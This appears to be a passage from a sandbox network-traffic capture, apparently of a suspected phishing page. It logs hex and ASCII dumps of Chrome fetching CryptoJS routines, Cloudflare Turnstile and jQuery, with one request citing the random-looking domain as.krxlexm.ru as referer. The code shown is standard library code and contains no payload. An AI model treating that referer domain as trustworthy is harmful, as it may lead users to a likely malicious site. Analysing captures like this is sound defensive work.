2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 Data Ascii: 1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 Data Ascii: uffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringi
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c Data Ascii: =r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKL
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f Data Ascii: abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o
2025-03-07 09:14:23 UTC	1369	IN	Data Raw: 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c Data Ascii: [39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49743	104.18.94.41	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:24 UTC	644	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://as.krxlexm.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:25 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:14:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91c8fb83f980eaef-ORD alt-svc: h3=":443"; ma=86400
2025-03-07 09:14:25 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-07 09:14:25 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 76 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 76 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 76 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function Bt(e,t){var a=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,v,h;try{for(a=a.call(e);!(c=(v=a.next()).done)&&(o.push(v.value),!(t&&o.length===t));c=!0)
2025-03-07 09:14:25 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 76 26 26 28 76 3d 30 2c 70 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function s(p){if(o)throw new TypeError("Generator is already executing.");for(;v&&(v=0,p[0]&&(a=0)),a;)try{if(o=1,c&&(l=p[0]&2?c.return:p[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.val
2025-03-07 09:14:25 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 6a 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 2c 65 2e 4c 69 67 68 74 3d 22 6c 69 67 68 74 22 2c 65 2e 44 61 72 6b 3d 22 64 61 72 6b 22 7d 29 28 6a 65 7c 7c 28 6a 65 3d 7b 7d 29 29 3b 76 61 72 20 43 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 65 72 69 66 79 69 6e 67 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 4f 76 65 72 72 75 6e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 61 69 6c 75 72 65 57 6f 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 66 61 69 6c 75 72 65 2d 77 6f Data Ascii: );var je;(function(e){e.Auto="auto",e.Light="light",e.Dark="dark"})(je\|\|(je={}));var Ce;(function(e){e.Verifying="verifying",e.VerifyingHavingTroubles="verifying-having-troubles",e.VerifyingOverrun="verifying-overrun",e.FailureWoHavingTroubles="failure-wo
2025-03-07 09:14:26 UTC	1369	IN	Data Raw: 78 65 63 75 74 65 22 2c 65 2e 41 75 74 6f 45 78 70 69 72 65 3d 22 61 75 74 6f 5f 65 78 70 69 72 65 22 2c 65 2e 41 75 74 6f 54 69 6d 65 6f 75 74 3d 22 61 75 74 6f 5f 74 69 6d 65 6f 75 74 22 2c 65 2e 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 6d 61 6e 75 61 6c 5f 72 65 66 72 65 73 68 22 2c 65 2e 41 70 69 3d 22 61 70 69 22 2c 65 2e 43 68 65 63 6b 44 65 6c 61 79 73 3d 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 2c 65 2e 54 69 6d 65 43 68 65 63 6b 43 61 63 68 65 64 57 61 72 6e 69 6e 67 41 75 78 3d 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 2c 65 2e 4a 73 43 6f 6f 6b 69 65 73 4d 69 73 73 69 6e 67 41 75 78 3d 22 6a 73 5f 63 6f 6f 6b 69 65 73 5f 6d 69 73 73 69 6e 67 5f 61 75 78 22 2c 65 2e 52 65 64 69 72 65 63 74 Data Ascii: xecute",e.AutoExpire="auto_expire",e.AutoTimeout="auto_timeout",e.ManualRefresh="manual_refresh",e.Api="api",e.CheckDelays="check_delays",e.TimeCheckCachedWarningAux="time_check_cached_warning_aux",e.JsCookiesMissingAux="js_cookies_missing_aux",e.Redirect
2025-03-07 09:14:26 UTC	1369	IN	Data Raw: 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 4c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 Data Ascii: rams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&t.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearanceLevel!=="default"&&t.set("clearance_level",e.params._debugS
2025-03-07 09:14:26 UTC	1369	IN	Data Raw: 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 5f 29 7d 76 61 72 20 53 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 61 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 46 65 65 64 62 61 63 6b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 2c 6c 2c 76 3d 4c 28 4d 72 2c 28 6c 3d 28 74 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c Data Ascii: language,"/").concat(_)}var St=function(e){var t,a,o=window.innerWidth<400,c=e.state===Ce.FailureFeedback\|\|e.state===Ce.FailureHavingTroubles,l,v=L(Mr,(l=(t=e.displayLanguage)===null\|\|t===void 0?void 0:t.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),
2025-03-07 09:14:26 UTC	1369	IN	Data Raw: 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 65 28 65 2c 74 2c 61 29 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 4f 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 4f 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 76 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 6c 29 3b 76 61 72 20 73 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 73 3b 72 65 74 75 72 6e 20 76 26 26 74 65 28 70 2c 76 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 4f 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 Data Ascii: l(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Oe(e,t,a){return Be()?Oe=Reflect.construct:Oe=function(c,l,v){var h=[null];h.push.apply(h,l);var s=Function.bind.apply(c,h),p=new s;return v&&te(p,v.prototype),p},Oe.apply(null,a
2025-03-07 09:14:26 UTC	1369	IN	Data Raw: 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 66 72 28 61 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 71 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 71 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 71 65 29 2e 63 6f 6e 63 61 74 Data Ascii: r));function g(e,t){var a="[Cloudflare Turnstile] ".concat(e,".");throw new fr(a,t)}function x(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function Xe(e){return e.startsWith(qe)?e.substring(qe.length):null}function $(e){return"".concat(qe).concat
2025-03-07 09:14:26 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 73 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 73 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 Data Ascii: height="100vh",s.style.top="0",s.style.left="0",s.style.transformOrigin="center center",s.style.overflowX="hidden",s.style.overflowY="auto",s.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49744	151.101.2.137	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:26 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:26 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 07 Mar 2025 09:14:26 GMT Age: 2580468 X-Served-By: cache-lga21931-LGA, cache-chi-kigq8000052-CHI X-Cache: HIT, HIT X-Cache-Hits: 9, 8604 X-Timer: S1741338867.642491,VS0,VE0 Vary: Accept-Encoding
2025-03-07 09:14:26 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-07 09:14:26 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
